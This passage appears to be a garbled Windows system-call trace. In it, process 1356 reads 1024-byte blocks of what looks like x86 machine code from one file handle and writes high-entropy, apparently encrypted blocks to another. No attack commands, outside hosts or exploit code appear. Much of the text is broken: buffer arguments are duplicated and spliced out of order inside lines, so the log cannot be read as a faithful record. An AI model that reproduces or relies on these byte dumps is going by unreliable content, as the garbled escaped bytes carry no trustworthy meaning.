\377\377\353Ff\201\376\1\1u\12\213\303\377\25\230\362\1@\3535f\367\306\0 t\11\213\303\3504\376\377\377\353%\213\324\213\306\350\341I\0\0\204\300t\14\213\323\213\4$\213\10\377Q$\353\14S\350\23\352\377\377S\350\5\352\377\377Z^[\303\220f\367\0\350\277u\6f\307\0\0\0\303\350r\377\377\377\303\220P\350\346\377\377\377X\303", ) == 0x0
 00995  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\267\15]\251^\\14\367w\3608TU\344['5\372\237\251\325Gb\204\226\200a\243o\16\217\233\243M)z\353\307\212\375XmM\247\371/\232r\203\241\333s\364\253\332s\223\25C\226\267\2467\216\264\373\240v\224\354\357WX\210\2272\1\263\216\264p\351"\340\35\364\317\343\310\344\245%\350f\224\353U\25U\327\31\225\16- v\272\367\26\337\352\234\360R\360\354=\207,\214\255\372\303\177\355S4\357\312\304\250\352@\211\3638\261\320\371g\210\16\374\7\215\2\325\323r\300\217\343\23\206,\24yI~\307;\252`\327&\32\337\322\22\273\360\360B\371\252\246\334\343\376\223\210TcL4\240\215\257\212\312\237\253^\305\370\347\364\271\24\274-\206;\304I"\271\223\210\37\23'\216\233:\311\15\275\351\232W\3130\14\375_\26zFm\372\200\\10\363\256\371V\377#\4\236w\23\222\220\331Y\210N\326\244\266U\15S@"S\325\24[\14\344s\324in\300\201\14\310\250<~7\326Gr\2705\207b\301u'9\3703\266\235\226\343\12\371I\204{\311\360Z\313-G\37\270\326 2\307\0\207[\2635\13\367\20\304\210\314\225\370\3650\30\371\15\36\2228\306\332\1\246|\1\10R\37\313\204\244\300\233Y+0k\17\217\203\177\342\31\320ky\376\355)\322\214\343\322\335\26RH\24\335\14Qt\235J\241N}\24\353\301\1$u\337\237\242\14\361\203\330\223\214\34\207\315\201A\322\216{\5d!\11\24\2609A\354:?\213\276\\375hqS\236\352J\76\316\270\323Q\354\334f\25\217\302G\204d5\345-?\12\20\211\265\261\243h\251O\216\274|\367\374\6*\240\207X\2161\376\352\355\273s\260\322\34\276\204\231hxHR\310\322\213\202N9\270\337\24?E\303\2\356|N^\30\374\343\235\313", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \340\35\364\317\343\310\344\245%\350f\224\353U\25U\327\31\225\16- v\272\367\26\337\352\234\360R\360\354=\207,\214\255\372\303\177\355S4\357\312\304\250\352@\211\3638\261\320\371g\210\16\374\7\215\2\325\323r\300\217\343\23\206,\24yI~\307;\252`\327&\32\337\322\22\273\360\360B\371\252\246\334\343\376\223\210TcL4\240\215\257\212\312\237\253^\305\370\347\364\271\24\274-\206;\304I (92, 0, 0, 0, "\267\15]\251^\\14\367w\3608TU\344['5\372\237\251\325Gb\204\226\200a\243o\16\217\233\243M)z\353\307\212\375XmM\247\371/\232r\203\241\333s\364\253\332s\223\25C\226\267\2467\216\264\373\240v\224\354\357WX\210\2272\1\263\216\264p\351"\340\35\364\317\343\310\344\245%\350f\224\353U\25U\327\31\225\16- v\272\367\26\337\352\234\360R\360\354=\207,\214\255\372\303\177\355S4\357\312\304\250\352@\211\3638\261\320\371g\210\16\374\7\215\2\325\323r\300\217\343\23\206,\24yI~\307;\252`\327&\32\337\322\22\273\360\360B\371\252\246\334\343\376\223\210TcL4\240\215\257\212\312\237\253^\305\370\347\364\271\24\274-\206;\304I"\271\223\210\37\23'\216\233:\311\15\275\351\232W\3130\14\375_\26zFm\372\200\\10\363\256\371V\377#\4\236w\23\222\220\331Y\210N\326\244\266U\15S@"S\325\24[\14\344s\324in\300\201\14\310\250<~7\326Gr\2705\207b\301u'9\3703\266\235\226\343\12\371I\204{\311\360Z\313-G\37\270\326 2\307\0\207[\2635\13\367\20\304\210\314\225\370\3650\30\371\15\36\2228\306\332\1\246|\1\10R\37\313\204\244\300\233Y+0k\17\217\203\177\342\31\320ky\376\355)\322\214\343\322\335\26RH\24\335\14Qt\235J\241N}\24\353\301\1$u\337\237\242\14\361\203\330\223\214\34\207\315\201A\322\216{\5d!\11\24\2609A\354:?\213\276\\375hqS\236\352J\76\316\270\323Q\354\334f\25\217\302G\204d5\345-?\12\20\211\265\261\243h\251O\216\274|\367\374\6*\240\207X\2161\376\352\355\273s\260\322\34\276\204\231hxHR\310\322\213\202N9\270\337\24?E\303\2\356|N^\30\374\343\235\313", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) S\325\24[\14\344s\324in\300\201\14\310\250<~7\326Gr\2705\207b\301u'9\3703\266\235\226\343\12\371I\204{\311\360Z\313-G\37\270\326 2\307\0\207[\2635\13\367\20\304\210\314\225\370\3650\30\371\15\36\2228\306\332\1\246|\1\10R\37\313\204\244\300\233Y+0k\17\217\203\177\342\31\320ky\376\355)\322\214\343\322\335\26RH\24\335\14Qt\235J\241N}\24\353\301\1$u\337\237\242\14\361\203\330\223\214\34\207\315\201A\322\216{\5d!\11\24\2609A\354:?\213\276\\375hqS\236\352J\76\316\270\323Q\354\334f\25\217\302G\204d5\345-?\12\20\211\265\261\243h\251O\216\274|\367\374\6*\240\207X\2161\376\352\355\273s\260\322\34\276\204\231hxHR\310\322\213\202N9\270\337\24?E\303\2\356|N^\30\374\343\235\313", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00996  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377\377PV\350O\354\377\377\350\32\372\377\377\213\205\350\374\377\377\213\320\213\205\344\374\377\377\377\225\370\374\377\377U\213\303\350\372\375\377\377Y\204\300u\223\353\22S\213\205\374\374\377\377P\350\252\347\377\377\350\345\371\377\377_^[\213\345]\303\213\300\350\257\0\0\0\303\213\300SVWQ\213\362\213\330f\367\3\350\277t\7\213\303\350\362\374\377\377\17\267>f\203\377\24s\16VS\350n\347\377\377\350\251\371\377\377\353yf\201\377\0\1u\27f\307\3\0\13\300\211C\10\215C\10\213V\10\350;b\377\377\353[f\201\377\1\1u\23f\211;\213F\10\211C\10\213\303\377\25\240\362\1@\353Af\367\307\0 t\20\271L\346\0@\213\326\213\303\350\262\375\377\377\353*\213\324\213\307\350\277F\0\0\204\300t\21j\0\213\316\213\323\213D$\4\213\30\377S(\353\14VS\350\363\346\377\377\350.\371\377\377Z_^[\303\220SV\213\332\213\360;\363t6f\367\3\350\277u&f\367\6\350\277t\7\213\306\350=\374\377\377\213\3\211\6\213C\4\211F\4\213C\10\211F\10\213C\14\211F\14\353\11\213\323\213\306\350\24\377\377\377^[\303\220U\213\354\203\304\360SVW\213\371\213\362\213\330\215E\360P\350|\346\377\3773\300Uh\240\347\0@d\3770d\211 \213\326\215E\360\350\214\377\377\377\215E\360\377\25\234\362\1@\17\267\317\215U\360\213\303\350B\2\0\03\300ZYYd\211\20h\247\347\0@\215E\360\3509\374\377\377\303\351_Z\377\377\353\360_^[\213\345]\303\213\300U\213\354j\0S\213\3303\300Uh\356\347\0@d\3770d\211 \215E\374\350.6\0\0\213\303\213U\374\350P?\0\03\300ZYYd\211\20h\365\347\0@\215E\374\350\33h\377\377\303\351\21Z\377\377\353", ) , ) == 0x0
 00997  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\241\333\EL]\30\210&\340\260@\227\4qT6\362=\307\355\3\355&]7_\224\375\250d\273\203F\350\204\266aE\206.\237>\254oG\310\215\3435\331\205\231V\21/>\221\354\364\361F^\333]\245\313\327\206\5\234\16+\37\276\256q\354mK\2(\35\237\373\2660\202?\201\327\31a \260y\235&C\303\3\314\272\361J\261}\23k\340h\342\264l\5\5'\360\36\344Dzu\316'\35\331\2505}j\266\373\26\234\206\370\23\312~^\267\210\324\364z\230\222\212\263\324e\215N\317\310\32\306\323\364\262\257\177\327\247\341E$\15;\352\340_\262\3265\11\17P\366\26\17\35"t\367\206\207hS\244!\303\10#U\32\244\203H\217\27_C\15j~\320\270\34\361\236\2447S\30\216\207'N\251\257\2060\3103\271\3303\220\355"\233_rO)\324\336\315\36\2343\11\17\275\254L\3761\31gY\0\21\355\366e\75{\341\316\350\375\21%\2551\352\236?tq"G\364d\313xu\306\235\243\331\264\350y\347\307U\247\244h\370\27\376\2\267\202\322\244\302\30\315\207\323\277\307\303\215\6\221\201\377H\177\237\242\37`\34\251\241\271[U\315W\324(E\304\304`\337\323\332\317\262\223\367\17t\27W\241\2377VaC\240\300uE\266\30Z(\270\226\31].M\334]m\13R9\330\33\305'\265\313\243\351\331\204\227\26\31.\264\36\205\2115;\257(}rX\227'\300K\262\244a\217\364\307\3251\350\237\230/l|\247\226\227\242E\303\255IaK\16E~\27`\274r\26\241\360\351e\233\30\232$\202\21\35\335V\177\322jIAY$\201\340v2\201\327g\200\5\7\252\200\211\362\271OM\27II\260>H\255K\235\345Cy,ME\214\241\242<\14\201\234\33?\1\35\336\23\263", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) t\367\206\207hS\244!\303\10#U\32\244\203H\217\27_C\15j~\320\270\34\361\236\2447S\30\216\207'N\251\257\2060\3103\271\3303\220\355 (92, 0, 0, 0, "\241\333\EL]\30\210&\340\260@\227\4qT6\362=\307\355\3\355&]7_\224\375\250d\273\203F\350\204\266aE\206.\237>\254oG\310\215\3435\331\205\231V\21/>\221\354\364\361F^\333]\245\313\327\206\5\234\16+\37\276\256q\354mK\2(\35\237\373\2660\202?\201\327\31a \260y\235&C\303\3\314\272\361J\261}\23k\340h\342\264l\5\5'\360\36\344Dzu\316'\35\331\2505}j\266\373\26\234\206\370\23\312~^\267\210\324\364z\230\222\212\263\324e\215N\317\310\32\306\323\364\262\257\177\327\247\341E$\15;\352\340_\262\3265\11\17P\366\26\17\35"t\367\206\207hS\244!\303\10#U\32\244\203H\217\27_C\15j~\320\270\34\361\236\2447S\30\216\207'N\251\257\2060\3103\271\3303\220\355"\233_rO)\324\336\315\36\2343\11\17\275\254L\3761\31gY\0\21\355\366e\75{\341\316\350\375\21%\2551\352\236?tq"G\364d\313xu\306\235\243\331\264\350y\347\307U\247\244h\370\27\376\2\267\202\322\244\302\30\315\207\323\277\307\303\215\6\221\201\377H\177\237\242\37`\34\251\241\271[U\315W\324(E\304\304`\337\323\332\317\262\223\367\17t\27W\241\2377VaC\240\300uE\266\30Z(\270\226\31].M\334]m\13R9\330\33\305'\265\313\243\351\331\204\227\26\31.\264\36\205\2115;\257(}rX\227'\300K\262\244a\217\364\307\3251\350\237\230/l|\247\226\227\242E\303\255IaK\16E~\27`\274r\26\241\360\351e\233\30\232$\202\21\35\335V\177\322jIAY$\201\340v2\201\327g\200\5\7\252\200\211\362\271OM\27II\260>H\255K\235\345Cy,ME\214\241\242<\14\201\234\33?\1\35\336\23\263", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) G\364d\313xu\306\235\243\331\264\350y\347\307U\247\244h\370\27\376\2\267\202\322\244\302\30\315\207\323\277\307\303\215\6\221\201\377H\177\237\242\37`\34\251\241\271[U\315W\324(E\304\304`\337\323\332\317\262\223\367\17t\27W\241\2377VaC\240\300uE\266\30Z(\270\226\31].M\334]m\13R9\330\33\305'\265\313\243\351\331\204\227\26\31.\264\36\205\2115;\257(}rX\227'\300K\262\244a\217\364\307\3251\350\237\230/l|\247\226\227\242E\303\255IaK\16E~\27`\274r\26\241\360\351e\233\30\232$\202\21\35\335V\177\322jIAY$\201\340v2\201\327g\200\5\7\252\200\211\362\271OM\27II\260>H\255K\235\345Cy,ME\214\241\242<\14\201\234\33?\1\35\336\23\263", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00998  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\321\203\372\24\17\207\272\1\0\0\377$\225\21\352\0@e\352\0@\220\352\0@\234\352\0@\261\352\0@\306\352\0@\340\352\0@\372\352\0@\24\353\0@.\353\0@\256\353\0@\304\353\0@<\353\0@\304\353\0@\271\353\0@\304\353\0@\304\353\0@Q\353\0@f\353\0@x\353\0@\212\353\0@\234\353\0@f\203;\1u\31\200=\20\252\1@\0t\203\322f\270\1\0\350u\361\377\377\351n\1\0\0\213\306\350M\371\377\377\351b\1\0\0\213\306\350\251\366\377\377\351V\1\0\0\213\303\350\231\10\0\0\213\320\213\306\3504;\0\0\351A\1\0\0\213\303\350\330\2\0\0\213\320\213\306\350\177:\0\0\351,\1\0\0\213\303\350\27\34\0\0\203\304\374\331\34$\233\213\306\350Q;\0\0\351\22\1\0\0\213\303\350\205\30\0\0\203\304\370\335\34$\233\213\306\350[;\0\0\351\370\0\0\0\213\303\350#%\0\0\203\304\370\337<$\233\213\306\350m;\0\0\351\336\0\0\0\213\303\350\241\37\0\0\203\304\370\335\34$\233\213\306\350\177;\0\0\351\304\0\0\0\213\323\213\306\350y\374\377\377\351\266\0\0\0\213\303\350\25\23\0\0\213\320\213\306\350\210;\0\0\351\241\0\0\0\213\303\350\210\6\0\0\213\320\213\306\350_:\0\0\351\214\0\0\0\213\303\350'\7\0\0\213\320\213\306\350\3529\0\0\353z\213\303\350\265\10\0\0\213\320\213\306\350\3709\0\0\353h\213\303\350\177\11\0\0\213\320\213\306\350\6:\0\0\353V\213\303\350\275\14\0\0RP\213\306\350T:\0\0\353D\213\323\213\306\350\221\374\377\377\3539\213\323\213\306\350\322\374\377\377\353.\213\321\201\352\0\1\0\0t\5Jt\15\353\26\213\323\213\306\350 \374\377\377\353\24f\272\1\1\350\15\360\377\377\353\11\213\323\213\306\350n\375\377\377^[", ) , ) == 0x0
 00999  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\201\244\337\271\231]\12\224\332E\206\237Rk\243,\250\265\32\212\360\203\11\304r\21WH\327Rb\241b\25\203X\2706\351\237s\255\273\310\376\265\23\305k@C72qw\371\354\220l\236\15\211\373\267\345\275}H\34\262j\207\13p\10\325\205\252\1,\13\205(\357S\4m\252#\32\25\128\333'\27\270T\21\365\214Y\224\24zI\200l\1\256\267\32\242{\237\256\235\217wU\216+%\270\306\235M\375\370L\23\15\251R\337\233\306\203\311/\220\366\237W\12\223gJ\301(\337qW'\237\227\312\35\367\27\271fkm\353h\217\242\334\27\246\353\210G\30z\271\276vT\3\257S\326?\201\235N2}\331T\314:5W\230\225\323\266\350\373+4\316R\17\273n\206*\317\352\212YD\272J\352\212\270U_0\22 \245\221\230GwH\333\226K\332\221o\202X\1\275\177E\344D\335\317Q\337\10:7\304\221*\320\307\17\360\201\350\335`>\242\305\23\6J\270\200\315\14(\261RN\264F>\31\12\341`\26\313i)E\216J}\336Nh\364[@\14I\362\207\233\261\26rgY\331\245\353\343\337\59\257\330Q\231\254\210\271/\2552\257f\311\243\257t;\220Y\205\0\300\16\21+\326\257\350Xu\277\32128\371G\336\224\261\331:\261\305\310\303\305\260\346Cg.<7-\307@C\325\27\371\4\202\177hd\350%h\274\20\362\357\324`"P\345\344\21\263\241\305\266\2371\322\350\217\315\310\11_S\277&\35n\260\260X,\325S\223a\242\3725\352\262\34[\364\216\204#I\273PF\221W\336\210\317\216F\335\210\377H\256nNa#\226yY\306\273\205\206\305tW+\262\253Q\31\363\371\262\371\37\367\320\254\273B\3419!\223\3\233\363&\336s\211\311\326\223\362=\350\374s\337\302\300", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) P\345\344\21\263\241\305\266\2371\322\350\217\315\310\11_S\277&\35n\260\260X,\325S\223a\242\3725\352\262\34[\364\216\204#I\273PF\221W\336\210\317\216F\335\210\377H\256nNa#\226yY\306\273\205\206\305tW+\262\253Q\31\363\371\262\371\37\367\320\254\273B\3419!\223\3\233\363&\336s\211\311\326\223\362=\350\374s\337\302\300", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01000  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\357\0@\7\357\0@\26\357\0@%\357\0@4\357\0@K\357\0@3\300\211E\370\351\206\3\0\0\200=\20\252\1@\0t\15f\272\3\0f\270\1\0\350\275\355\377\3773\300\211E\370\351f\3\0\0\213E\374\17\277@\10\211E\370\351W\3\0\0\213E\374\213@\10\211E\370\351I\3\0\0\213E\374\331@\10\350?B\377\377P\301\370\37;\302Xt\5\350\355M\377\377\211E\370\351(\3\0\0\213E\374\335@\10\350\36B\377\377P\301\370\37;\302Xt\5\350\314M\377\377\211E\370\351\7\3\0\0\213E\374\337h\10\3305\334\361\0@\350\367A\377\377P\301\370\37;\302Xt\5\350\245M\377\377\211E\370\351\340\2\0\0\213E\374\335@\10\350\326A\377\377P\301\370\37;\302Xt\5\350\204M\377\377\211E\370\351\277\2\0\0\213E\374\350\10\375\377\377\211E\370\351\257\2\0\0\213E\374\17\277@\10\211E\370\351\240\2\0\0\213E\374\17\276@\10\211E\370\351\221\2\0\0\213E\374\17\266@\10\211E\370\351\202\2\0\0\213E\374\17\267@\10\211E\370\351s\2\0\0\213E\374\213@\10\205\300y\5\350!M\377\377\211E\370\351\\2\0\0\213E\374\213P\14\213@\10P\301\370\37;\302Xt\5\350\2M\377\377\211E\370\351=\2\0\0\213E\374\213@\10\350\33\376\377\377\211E\370\351*\2\0\0\213E\374\350'\375\377\377\211E\370\351\32\2\0\0\213U\374\213\320f\201\352\0\1t\7f\377\312t\22\353 \213E\374\350P\374\377\377\211E\370\351\367\1\0\0\213E\374\3500\375\377\377\211E\370\351\347\1\0\0\213U\374\366\304@\17\204\301\1\0\0\213U\374\17\267\300%\377\277\377\377\203\370\24\17\207\240\1\0\0\377$\205\347\357\0@\200\361\0@\200\361\0@;\360\0@L", ) , ) == 0x0
 01001  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "@@'\3375\376\274\300\261{\252l\305e\272\177\205\270\247Pn6V\340-Sd\177X`9\342\255\314\262`R(\240\37\265\366\3100(\211\241\203\243\361\263=o\206\254\355\27\3648\243m\206Y\357\367\201;\356S/\37\335\325J\222\244\307zSm\320Q@-\237\1H)\13\4\263\263\357\251\375W\255\376\315\217\256H\253\263\357\255\221\251s_NS,m\326\20\3147z\327\32\357\326Q\341\255\356\235\307\270\300!\322[0\240\371\232M\244Z\272\26;\232\271\312T\305?\365\307\3\254\4Dj\355e\25\303\350\305\215\201\323\205\374\257S\213\236\341\262\340\1\251(\300\244l\2626H{\21\220\236\271\224\335_\\362\326L\360\327\320Gg\330\223\276[e\306386@\7\345\254|'\275\27\354\211\373U\217Z\245'\37$\356\201k\301\355\257E\201\352\7p\253\223\22\216w\356{\245Q\6l\361v1"\240\315\325\247\25\334\200\261\200\250\347\344\16\2451:\35*\320\331w\262\206L\219B0|\274\30,\35\306\221\344VR-\367K\273\253\304\23\2.\220\16b\265D`\7\255\254\13t\316/\247\37M3\2339>\16\276\355u\3754\240\7G\322W\263f\17\362\234\4\336\27\23\260;\26BHq\311\201\207GO\267r\212\4\278\362\227\375\265\32\365\342\3154J\311\242\35\332\2u\23V?\304K\351\325.0\26{\235\32\177\314\340\313\264\322\312xq\371\251\250\236\200\266Y\271\355\330\367~/=\117|\346\326GX\252\12\272\13^\12\263\310'J\243\214\255\314\314\362\277\36hy\3562\210_\276M=\10\220@\262\30\342\2047 \275\31\22\216~\327\354N\204\265_j\375p\3322m\313Jk\26_z\250V\377L\254D\377Q\305\10/=\17\260T\370\252\326\220\246\273\332#", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \240\315\325\247\25\334\200\261\200\250\347\344\16\2451:\35*\320\331w\262\206L\219B0|\274\30,\35\306\221\344VR-\367K\273\253\304\23\2.\220\16b\265D`\7\255\254\13t\316/\247\37M3\2339>\16\276\355u\3754\240\7G\322W\263f\17\362\234\4\336\27\23\260;\26BHq\311\201\207GO\267r\212\4\278\362\227\375\265\32\365\342\3154J\311\242\35\332\2u\23V?\304K\351\325.0\26{\235\32\177\314\340\313\264\322\312xq\371\251\250\236\200\266Y\271\355\330\367~/=\117|\346\326GX\252\12\272\13^\12\263\310'J\243\214\255\314\314\362\277\36hy\3562\210_\276M=\10\220@\262\30\342\2047 \275\31\22\216~\327\354N\204\265_j\375p\3322m\313Jk\26_z\250V\377L\254D\377Q\305\10/=\17\260T\370\252\326\220\246\273\332#", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01002  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\350\5t)\35303\333\353\177\200=\20\252\1@\0t\15f\272\20\0f\270\1\0\350\324\351\377\3773\333\353e\213]\374\17\266[\10\353\\213]\374\17\266[\10\353S3\300Uhn\362\0@d\3770d\211 \213E\374\350D\373\377\377\213\330\201\303\200\0\0\0\201\373\377\0\0\0v\5\350\3J\377\377\203\303\2003\300ZYYd\211\20\353\33\351eN\377\377\213E\374\17\267\0f\272\20\0\350\346\355\377\3773\333\350\327P\377\377\213\303_^[Y]\303\215@\0U\213\354QSVW\211E\374\213E\374\17\267\0f\203\350\1r\20t\22f\203\350\12t&f\203\350\6t)\35303\333\353v\200=\20\252\1@\0t\15f\272\21\0f\270\1\0\350 \351\377\3773\333\353\\213]\374\17\266[\10\353S\213]\374\17\266[\10\353J3\300Uh\31\363\0@d\3770d\211 \213E\374\350\220\372\377\377\213\330\201\373\377\0\0\0v\5\350UI\377\3773\300ZYYd\211\20\353\33\351\272M\377\377\213E\374\17\267\0f\272\21\0\350;\355\377\3773\333\350,P\377\377\213\303_^[Y]\303U\213\354QSVW\211E\374\213E\374\17\267\0\203\370\21\17\207\201\0\0\0\17\266\200c\363\0@\377$\205u\363\0@\1\2\3\0\0\0\0\0\0\0\0\4\0\0\0\0\5\6\326\363\0@\221\363\0@\230\363\0@\262\363\0@\273\363\0@\304\363\0@\315\363\0@3\333\351\224\0\0\0\200=\20\252\1@\0t\15f\272\2\0f\270\1\0\350F\350\377\3773\333\353z\213]\374\17\267[\10\353q\213]\374\17\267[\10\353h\213]\374\17\276[\10\353_\213]\374\17\266[\10\353V3\300Uh\21\364\0@d\3770d\211 \213E\374\350\244\371\377\377\213\330\201\303\0\200\0\0", ) , ) == 0x0
 01003  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\260b#q\15z\37\214'RF\367\266\15\272\262\316\7\22\342\5\262m{\263\241o\14\32\210lB\204\26\304\260\274+@\275\273}\246\266q;\320A\23\241\21\241E\2079\3400\3\11\273 \202\212S\241~\356\241\214/\216%PY\330b\1\357\230#\301dm\272\343\21\232\357\332\33\350\15\335W\274\336c?\302\317\351\203\215\256p\13+"\355\354'\300\356\274\20\225ho;\247m;6A\371J\310\365tu:\3e\241\13\227\32n\357\32\325\272Ls\251.(-\243\27s\301\2652\267\200\23g-\307K\360\377T\342]\213&\236\374\325\355\345\223\231\15\263\206w\201\14\266\343\262\254\200\17\333i\214\203m\11\313\361|\373B\34\356\250t\337E\373n\316\255\177\356\233r\232?ol\326`r\15\365]\236j\2\314\365\337\<\371p\305x\332y_2\373\2016\311S5b2\24x\32753c\307U\6@\266\336\31\317irsq9\251\17\315\375\340\3024\25$\330\223\305\24\201sz\6=\221(\360gG\344&\214\351\24\261\14\205l>!\323M\243)&&\214\201Y=\3068\370\30\272\376\204\263\221l\300\366^\315\215\365\232\350i\4P\362pIc\347\310\370C\327zkN\371\311\206\24k\270\10\31$A\211\266\205iY\335]v\11\351\7.]\271kn\\244\274iB6\356\327P@)1\3014\3155Z\234ek\377/\351E\314\317\222\341\254\271\351\33[\310\272wN?\300\253e\211^\374\24\357{\3\301\271\327\224\254\5\23.c\302A\5a\2271\37 \335D\376\307\212\270\21hy\224\35\320\36I\240 +\221\244f\233\316O1\334e\337\24\211\336\231qyVRN\27\267\277\30\313O%\345\277^R\17\225\22X\225\356\201\223\235\323\3219\260t\323\237\322 \355\300", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \355\354'\300\356\274\20\225ho;\247m;6A\371J\310\365tu:\3e\241\13\227\32n\357\32\325\272Ls\251.(-\243\27s\301\2652\267\200\23g-\307K\360\377T\342]\213&\236\374\325\355\345\223\231\15\263\206w\201\14\266\343\262\254\200\17\333i\214\203m\11\313\361|\373B\34\356\250t\337E\373n\316\255\177\356\233r\232?ol\326`r\15\365]\236j\2\314\365\337\<\371p\305x\332y_2\373\2016\311S5b2\24x\32753c\307U\6@\266\336\31\317irsq9\251\17\315\375\340\3024\25$\330\223\305\24\201sz\6=\221(\360gG\344&\214\351\24\261\14\205l>!\323M\243)&&\214\201Y=\3068\370\30\272\376\204\263\221l\300\366^\315\215\365\232\350i\4P\362pIc\347\310\370C\327zkN\371\311\206\24k\270\10\31$A\211\266\205iY\335]v\11\351\7.]\271kn\\244\274iB6\356\327P@)1\3014\3155Z\234ek\377/\351E\314\317\222\341\254\271\351\33[\310\272wN?\300\253e\211^\374\24\357{\3\301\271\327\224\254\5\23.c\302A\5a\2271\37 \335D\376\307\212\270\21hy\224\35\320\36I\240 +\221\244f\233\316O1\334e\337\24\211\336\231qyVRN\27\267\277\30\313O%\345\277^R\17\225\22X\225\356\201\223\235\323\3219\260t\323\237\322 \355\300", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01004  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\213\330\215D$\10P\350\314\327\377\377j\3j\0h\0\4\0\0S\215D$\30P\241d\260\1@\213\0\377\320\205\300u\16\213D$\20\231\211\4$\211T$\4\353ej\5j\0h\0\4\0\0S\215D$\30P\241d\260\1@\213\0\377\320\205\300u\22\335D$\20\350M:\377\377\211\4$\211T$\4\3537=\5\0\2\200u\25\213\303\350\346\7\0\0\203\340\1773\322\211\4$\211T$\4\353\33\17\267\23f\271\24\0\350\250\351\377\377\307\4$\0\0\0\0\307D$\4\0\0\0\0\213\4$\213T$\4\203\304\30[\303\220U\213\354\203\304\334S3\322\211U\334\211U\374\213\3303\300Uh\226\367\0@d\3770d\211 \213\323\215E\374\350+'\0\0\215E\334\213U\374\3500T\377\377\213E\334\215U\360\350%\207\377\377\204\300\17\205\211\0\0\0\215E\354Pj\0h\0\4\0\0\213E\374P\241\260\260\1@\213\0\377\320\205\300u\14\213E\354\231\211E\360\211U\364\353a\215E\340Pj\0h\0\4\0\0\213E\374P\241\360\257\1@\213\0\377\320\205\300u\20\335E\340\350m9\377\377\211E\360\211U\364\3535=\5\0\2\200u\24\213\303\350\7\7\0\0\203\340\1773\322\211E\360\211U\364\353\32\17\267\23f\271\24\0\350\312\350\377\377\307E\360\0\0\0\0\307E\364\0\0\0\03\300ZYYd\211\20h\235\367\0@\215E\334\350\367P\377\377\215E\374\350sX\377\377\303\351iJ\377\377\353\350\213E\360\213U\364[\213\345]\303U\213\354\203\304\350S\213\330\215E\350P\350\36\326\377\3773\300Uh\377\367\0@d\3770d\211 \213\323\215E\350\350.\357\377\377\215E\350\377\25\234\362\1@\215E\350\350}\0\0\0\211E\370\211U\3743\300ZYYd\211\20h\6\370", ) , ) == 0x0
 01005  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\1\354\26\36t\245_\13W\225\36\333+\334\312B\11\179e\35\370\205yl\12\211\357\33mS\237Bor\37l"\374N\241\313\330\305\275\255,\13Jg6\302V\204\14\20Q\331b`\206\224\6a;I\206\255P\373pPK\7\243\321\357\212\377\302z\377\363\303w\277\331\272fI\16LtJc\2559\263\264\376\367\251\321\15F\26\34\357\203\230o\211H\322\355\36\266\36I\7\374Xn\265d\223o\227K\333\335\8\351M\253\3402\247F\216;\304\203\3570\353\12x\352\206\\323>\232\204\350i\365o>\232\34\262!D\25n\370*D\336\11G\4\255-3\2560M?4\11O\256\37I\363=W\0\234\252\211\11\27\27TP\\227JL@\224\35\315\10\351\326\334e\30\227s\245\32\6dK\335.\237\315Q\2529.\256\215\35\205^\23\202T\255\263\240Q\253\244\205\350\321\220\26C\210\231\351\5\335R\25\266\377\10JL\245\206\243\256m\244\37\272:K\10]Yw\337%\6\31\2122\266/\244\237\300PL\372n\250\345r\370\374\333.J{\244\373U\206Oi\21\307Cz\307\20\267\257\12\341\3447\27\344N\214\370\257\352\335\253T\275\332\27\246\314Q\205\324\222\316\317\201+\24"\210^S\327\356\261pO\300\370\30Z\253\\201\362]Z\302\253\356\367w\31\363\331\372X\260an\231\264\336.\0\13\20100\335\321\356\325Z\32\351\357)\13 \16!\227<\232\201E.\310\244\263\266\256g\312\310\276s>\251\354\343\13\365>Z\16C\2732\377i\16\371\273\25P\263\372\217\;]\225\225\327\331\3\201\364\372!\212\334\3226z3-\345~\210\266\305\246\35\222\206)x!\317\3251|\11\355"W\232N\371:#\247\217\361|\200\246\2\263\336\35T\371\266\311d\207\5\262\323\205\30\16", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 